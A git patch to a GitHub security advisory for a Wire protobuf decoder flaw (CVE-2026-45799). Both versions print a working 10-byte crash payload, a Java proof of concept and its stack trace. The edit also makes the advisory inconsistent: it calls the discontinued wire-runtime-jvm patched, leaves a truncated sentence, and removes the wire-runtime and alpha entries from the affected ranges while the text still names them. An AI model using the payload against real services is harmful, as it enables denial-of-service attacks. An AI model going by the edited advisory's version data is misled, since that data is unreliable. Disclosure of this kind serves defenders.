From 8dac304bda3b947ea2033b0eebc9514b35a530ee Mon Sep 17 00:00:00 2001 From: tal-sealsecurity Date: Thu, 9 Jul 2026 20:43:53 +0300 Subject: [PATCH] Improve GHSA-7xpr-hc2w-34m9 --- .../GHSA-7xpr-hc2w-34m9.json | 50 ++----------------- 1 file changed, 3 insertions(+), 47 deletions(-) diff --git a/advisories/github-reviewed/2026/05/GHSA-7xpr-hc2w-34m9/GHSA-7xpr-hc2w-34m9.json b/advisories/github-reviewed/2026/05/GHSA-7xpr-hc2w-34m9/GHSA-7xpr-hc2w-34m9.json index 1a0bd519858d4..618c648a9aa99 100644 --- a/advisories/github-reviewed/2026/05/GHSA-7xpr-hc2w-34m9/GHSA-7xpr-hc2w-34m9.json +++ b/advisories/github-reviewed/2026/05/GHSA-7xpr-hc2w-34m9/GHSA-7xpr-hc2w-34m9.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-7xpr-hc2w-34m9", - "modified": "2026-05-19T19:54:50Z", + "modified": "2026-05-19T19:54:51Z", "published": "2026-05-19T19:54:50Z", "aliases": [ "CVE-2026-45799" ], "summary": "Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service ", - "details": "# CVE-2026-45799\n\n## Maintainer summary\n\nWire's protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire's documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable legacy releases, including `5.3.1` and `5.3.3`.\n\nPatched versions: none.\n\n`com.squareup.wire:wire-runtime-jvm` is a discontinued legacy artifact and will not receive a\npatched release. Users should migrate to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire's documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nThe originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the\ndiscontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate\nis `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n val length = internalReadVarint32() // returns signed Int and can be negative\n skip(length) // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n val newPos = pos + byteCount // for example, 7 + (-128) = -121\n if (newPos > limit) throw EOFException()\n pos = newPos // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n if (pos == limit) throw EOFException()\n return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n val length = internalReadVarint32()\n if (length < 0) throw ProtocolException(\"Negative length: $length...\")\n skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n public static void main(String[] args) throws Exception {\n byte[] payload = new byte[] {\n (byte) 0x9B, 0x06, // field 99, START_GROUP\n 0x0A, // field 1, LENGTH_DELIMITED\n (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128\n (byte) 0x9C, 0x06 // field 99, END_GROUP\n };\n\n AnyMessage.ADAPTER.decode(payload);\n }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06 field 99, wire type 3 (START_GROUP)\n0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int\n0x9C 0x06 field 99, END_GROUP\n```", + "details": "# CVE-2026-45799\n\n## Maintainer summary\n\nWire's protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire's documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable legacy releases, including `5.3.1` and `5.3.3`.\n\nPatched versions: `6.3.0` and later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire's documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nfixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n val length = internalReadVarint32() // returns signed Int and can be negative\n skip(length) // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n val newPos = pos + byteCount // for example, 7 + (-128) = -121\n if (newPos > limit) throw EOFException()\n pos = newPos // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n if (pos == limit) throw EOFException()\n return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n val length = internalReadVarint32()\n if (length < 0) throw ProtocolException(\"Negative length: $length...\")\n skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n public static void main(String[] args) throws Exception {\n byte[] payload = new byte[] {\n (byte) 0x9B, 0x06, // field 99, START_GROUP\n 0x0A, // field 1, LENGTH_DELIMITED\n (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128\n (byte) 0x9C, 0x06 // field 99, END_GROUP\n };\n\n AnyMessage.ADAPTER.decode(payload);\n }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06 field 99, wire type 3 (START_GROUP)\n0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int\n0x9C 0x06 field 99, END_GROUP\n```", "severity": [ { "type": "CVSS_V3", @@ -20,25 +20,6 @@ "ecosystem": "Maven", "name": "com.squareup.wire:wire-runtime-jvm" }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "last_affected": "5.3.3" - } - ] - } - ] - }, - { - "package": { - "ecosystem": "Maven", - "name": "com.squareup.wire:wire-runtime" - }, "ranges": [ { "type": "ECOSYSTEM", @@ -51,32 +32,7 @@ } ] } - ], - "database_specific": { - "last_known_affected_version_range": "<= 6.2.0" - } - }, - { - "package": { - "ecosystem": "Maven", - "name": "com.squareup.wire:wire-runtime" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "7.0.0-alpha01" - }, - { - "fixed": "7.0.0-alpha03" - } - ] - } - ], - "database_specific": { - "last_known_affected_version_range": "<= 7.0.0-alpha02" - } + ] } ], "references": [